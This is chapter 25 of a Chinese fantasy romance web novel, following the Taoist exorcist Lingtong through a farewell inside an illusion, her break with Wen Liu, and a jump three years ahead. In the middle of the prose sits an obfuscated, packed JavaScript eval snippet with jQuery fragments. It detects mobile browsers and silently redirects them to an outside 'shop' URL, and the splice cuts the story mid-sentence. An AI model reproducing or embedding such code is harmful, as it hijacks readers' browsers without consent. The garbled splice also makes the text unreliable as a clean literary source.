25. 第二十五章:临别时
作品:《未了不及》 “阿愿,怎么突然哭了?”
令衡将少女揽在怀里,轻轻拍着她的背。
“师兄……”
灵瞳在他怀里泣不成声。
沈绘看似不明所以:“边哭边笑?这本事你跟谁学的?”
“沈绘,”
令衡淡淡瞥他一眼:“去把外面桌上买的点心拿过来。”
“哦。”
他很快进来,将手里的盒子递到灵瞳面前:“给你的。”
灵瞳吸了吸鼻子,闻着味道将点心塞进嘴里,哭声渐止。
她现在无心跟沈绘的小脾气计较,只是万分留恋这场幻梦。
倘若这是真的就好了,她本来就无生的希望。
可现在不一样了,有一个非常非常珍惜她的人在现实里等她,那个人很好,她已有了挂念。
眼前的一切都是假的,是不属于她的,应该说,是她鸠占了这个“灵瞳”的鹊巢。
这里的灵瞳是天真的,未经世事的单纯善良的小姑娘,她有师兄的溺爱和口是心非的友人,就算没有一双看得见的眼睛,她的一生也过得无比幸福。
而她不一样。
她在幼年失去了最疼她的师兄,与昔日好友决裂,而这一切都是因她而起,她不得不于一夜之间成长。
她冷漠,疏离,甚至无情自私,再不复年少烂漫时。
可却有人将破碎不堪的她拾起,把她当作举世无双的珍宝。
她不可置信,又头一回感到窃喜。
因此,她或许也可以试着好好活一次。
而有些旧事,也可以慢慢放下了。
她从前只想着赎罪,再无其他,可她从没想过,她在意的那些人愿不愿意看见她这样。
这样一番下来,她也找到了少许儿时的心念。
“阿愿。”
一声轻唤打断她思绪。
“可是落水后发生了什么事?”
“没什么,”灵感笑笑,只是泪痕未干,“我只是想起来一些事。”
看着面前少女难得一见的神情,令衡道:“若是因何事而不高兴,只管告诉师兄。”
沈绘也插科打诨:“水里泡了三天也还能活,你也是数一数二的厉害了。”
灵瞳不自觉勾了勾唇,发觉自己的心境已大不相同。
昔日的温暖短暂地重临于心头,此一刻胜过人间十年。
于是她忽而便释怀了,仰首是春。
或许人都需要一点惦念在人间吧,便胜却人间无数。
“师兄,”
她小心翼翼地问:“如果我犯了错,很严重,还会伤害到你,你会原谅我吗?”
令衡温声:“阿愿是故意的吗?”
灵瞳摇头:“不是。”
“那阿愿后悔吗?”
她狠狠点了点头。
怎么不后悔,后悔得快死了。
令衡于是笑了笑,道:“那我为何不会原谅你?”
少女不可置信般,缓缓抬头。
此刻她有些胆怯,但她知晓,现下若是不问,此后便再无机会了。
“那要是我做的事情无法挽回,甚至连被原谅的机会也没有了呢?”
令衡没说话,似乎在思索。
但没过多久,他还是道:“那也没有区别。”
“那些只能代表事情的影响,却不能改变我不会怪你这件事实。”
“阿愿,你是我的师妹,是我在这世上最亲近的人,没人比我更了解你的为人,我永远都不会责怪你。”
“师兄只希望你能够一直平安喜乐下去,不必将痛苦的事情放在心上,我们阿愿可以做世上最幸福的小娘子,没有师兄也可以。”
好像有温热的雨滴砸在灵瞳心上,融化了她尘封多年的旧冰。
沈绘叉着腰,得意洋洋道:“怎么,灵阿愿,你不是很厉害么,没我们就过不上好日子了?”
少女揉了揉哭红的眼,破涕为笑。
“才不是。”
只是有了你们,我可以被宠爱着长大,而带着你们不灭的希望孤身一人,我可以所向披靡。
她会永远缅怀这段快乐无忧的时光,也会毫不留恋地抽身而去。
她起身走向屋外,背对着阳光,朝着二人的方向灿烂一笑,随后深深地鞠了一躬。
她用尽全身法力凝出一把剑,其上泛着点点光晕,闪烁着她的瞳孔满是光彩,不再暗淡无光。
她将剑身毫不犹豫刺进身体,脸上挂着的是最后一个带有怅然的笑容,那一瞬间的恍惚让她于朦胧间看见了世界。
“师兄,沈绘,”
“谢谢你们。”
“再见。”
真好啊。
她终于来得及跟他们说声再见了。
这一次,即使不回头,她也要走的前路敞亮,万里无阻。
——
“呵。”
一声冷哼自天地间传来,惹得灵瞳发自内心的厌恶。
“你倒还真是舍得。”
“有什么舍不得的。”
灵瞳若无其事地起身:“我自能承己命,不必夺他人运。”
“是么,”那声音嘲讽似的,“你就确信你的小太子也会回来?”
灵瞳唇角微扬,坚定不移,微风中每一根发丝都透着自信。
“那是自然。”
纵使天命,能掌控的也是有限的,然而如今它已然触底。
它发出了一声似笑非笑的声音,而后像是在低吟,灵瞳听不懂。
但那团光影渐渐散开,直至融入天际消失不见,她知道自己赌赢了。
日后她与他的命数如何,再不由天道插手。
他们给自己赚来了一次活着的机会。
然而事实总是让人措手不及。
她险些忘了,一个占据别人身体的鬼魂,在魂魄与这具身体长时间剥离,并且灵魂本身就受损的情况下,是几乎不可能再次鸠占鹊巢的。
而这些都在她看见身边少年迟迟未醒时发觉。
“嘶。”
她的眼睛又开始不受控制了。
溟雨郡是真的不能再待了。
而这一次看见地上的身影,仿佛与数十天前初入温府时重合。
不过这一次,她眼中所见再不是周身盈满死气,大片黑色以肉眼可见的速度散去,活人的光彩逐渐填回他的身体。
她抓不住,只能眼睁睁看着他散去,消散于山川湖海,再寻不得。
她甚至都不能阻拦。
身为一个道士,一个除妖师,她岂能为了一只伥鬼而牺牲一个凡人?
可要她什么也不做,她的心又抽痛得快要窒息。
离别本就是件令人伤心的事,偏偏他还是她幡然醒悟的欢喜。
怎么可能舍得呢?她的心再硬,不也被他融化了?
她朝那些四散的黑气颤颤巍巍伸出手,可也只能看它们流转于指尖。
“夙寒歧,”
少女的声音不大,也没有在哭,但听着比哭还难受,偏偏还那么坚强,叫人心疼。
“你就是你,不是任何人。”
“我说过你想活就可以好好活,我不会食言。”
“答应你的我一定会做到。”
“修道者的命可以很长,我等得起。”
伴随她的话语,那些黑气纵使无了意识,依然万般难舍,绕着少女的身体转啊转,最后消失在她的衣角发丝间。
在她赤红色的瞳眸里,化作一滴晶莹剔透的泪珠。
随后她看见,面前少年郎君的眼睫颤了颤。
她心脏刹那揪紧,下意识想唤一声,却卡在了原地。
只因那郎君突然睁了眼,目中是她不曾见过的嫌恶冷色,针刺般毫不吝啬地扎向她。
他缓缓启唇,没有一丝多余。
“滚!”
——
又是一日微雨绵绵。
风中气息杂乱,与雨滴不能被尽数挡在伞外,偶尔落在少女脸上时,她也会同小动物般轻轻抖落。
她今日穿的不是青袍,是一件白色裙裳,细看还有织花,并上发髻上的朱簪,明媚鲜活取代了往日的清冷。
大抵是舍不得没怎么穿过的新衣裳,少女一只手握着伞,一只手小心翼翼地提着裙摆,生怕沾上了泥点子。
灵瞳步子不急不缓,轻车熟路地走到温府门口,礼貌地扣响了门。
与少女甚至有些雀跃的坦然不同,漱流轩里的少年此刻心绪不宁,躁动得如同走火入魔一般。
这些天来,有个人的身影未经他许可却一直在他的脑海里挥之不去,影响着他的生活,他的一切,让他变得不像自己。
而他不敢告诉任何人。
因为那个人,甚至都不是他的未婚妻。
温柳此刻在屋中翻箱倒柜,想找一些东西转移自己的心思,可他却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069180|192245||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又不愿意出门走走。
然而就在这时,他看见了床头小案上一块叠得整整齐齐的物什,骤然牵绊住了他所有的躁动不安。
而只不过一瞬间,紧接着是愈演愈烈。
愤怒,厌恶,陌生的思念爬上他的心中,占据了他整颗心,他分明很不愿意,但他控制不住。
他清楚那只伥鬼已经彻底离开他的身体了,如今的一思一念完完全全都是属于他自己。
他几近崩溃时,听得门外福生来报。
“二郎君,灵道长来了。”
“让她滚!”
温柳歇斯底里地大吼。
灵瞳刚走到轩外,脚步一顿。
她倒也没生气,毕竟换作任何人遇到他的情况,只怕也高兴不起来。
福生慢吞吞地走过来,一脸歉意。
“那个,灵道长啊……”
灵瞳料到他要说什么,于是摆了摆手。
“无妨。”
她将两瓶药丸交予他,温声叮嘱。
“温二郎君周身的死气几乎已无,不过些许脆弱,将这两瓶药丸每月服一粒,至多一年,他便可恢复从前状态了。”
福生急忙接过:“小的替二郎君和夫人谢过灵道长!”
灵瞳点点头:“告辞。”
“小的送您!”
踏出温府的瞬间,一束光越过伞檐照进少女眼中,令她微眯。
适应过后一看,才发现竟是日光。
真是难得,风雨与晴同处一地。
让她想起了多日前的那一日,也是一场微雨。
不过此时有阳光,她穿得很漂亮,还有敞亮的前路可走。
于是她便释怀了。
不过走之前,还得给沈绘留口信,不然他又得计较好久,她这次可能许久都不会回来了。
少女嘴角挂起轻松的笑容,步履轻盈,坦坦荡荡往远方去。
另一边的温府,小厮生怕触了霉头,便小心翼翼地将药瓶放在房间的几案上。
温柳冷不丁问:“这是何物?”
福生对着这个有些异样的主子不敢抬头:“这是灵道长给郎君的药,吃了恢复身子的。”
阴冷的目光直直盯着他半晌,福生的背上冷汗直冒。
突然,他问:“她人呢?”
“二郎君说灵道长吗?您不是……不是让她,滚了么?”
温柳心跳好似漏了一拍,道:“我让她滚,她就真的滚了?”
她有这么听话?
然而一句话击碎了他的侥幸。
“灵道长留下药就走了。”
“啪!”
杯盏碎了一地,砸向门口,正好擦过小娘子娇嫩的脸庞。
“走了好,走了有本事就别回来!”
而那满心欢喜来看自家未婚夫的少女呆愣在原地,一边不可置信着,一边好像心也跟着杯盏碎了一地,再无法复原。
在这一场江城难得的晴雨中,有人满不在乎风雨,只管朝着阳光走,
而有人,似乎永远沉没在了那场苦涩的雨里,泥淖环身,无法自拔。
——
三年后,京城。
皇宫外平日里皆不得喧哗,但总能听见不远处传来街角巷陌的叫卖声,倒是别有一番风味。
白衣少女同另一女子站在侧门处,三年的岁月让她长高了些,面庞倒是多了一分惊艳的美丽,时常让人驻足。
此时她衣着妆容精致,正笑着同女子闲聊。
“南辛姐姐真的不同我一道回去,顺便逛一逛?”
女子轻抚了抚她的头发,笑道:“再说吧,近日师父事务繁忙,我也要从中协助。何况我与温家非亲非故,人家的大婚我何来理由去得?”
灵瞳颔首:“那便只能待下一次,我再带姐姐逛溟雨郡了。”
少女朝她挥挥手:“姐姐告辞!”
“再会,小阿愿。”
三年说长不长,说短不短,足以让一个本就天赋异禀的人大有所成了。
灵瞳心中有股异样的情绪,仿佛近乡情怯。
不知溟雨郡这几年可有何变化,三清山可还一切安好。
想必见了沈绘,又是一顿臭骂了。
还有他……
灵瞳唇角不自觉地扬起。
前几日托南辛姐姐的同道算了一卦,总觉相逢将至。
如今她也有足够的实力,还望此事保真吧。

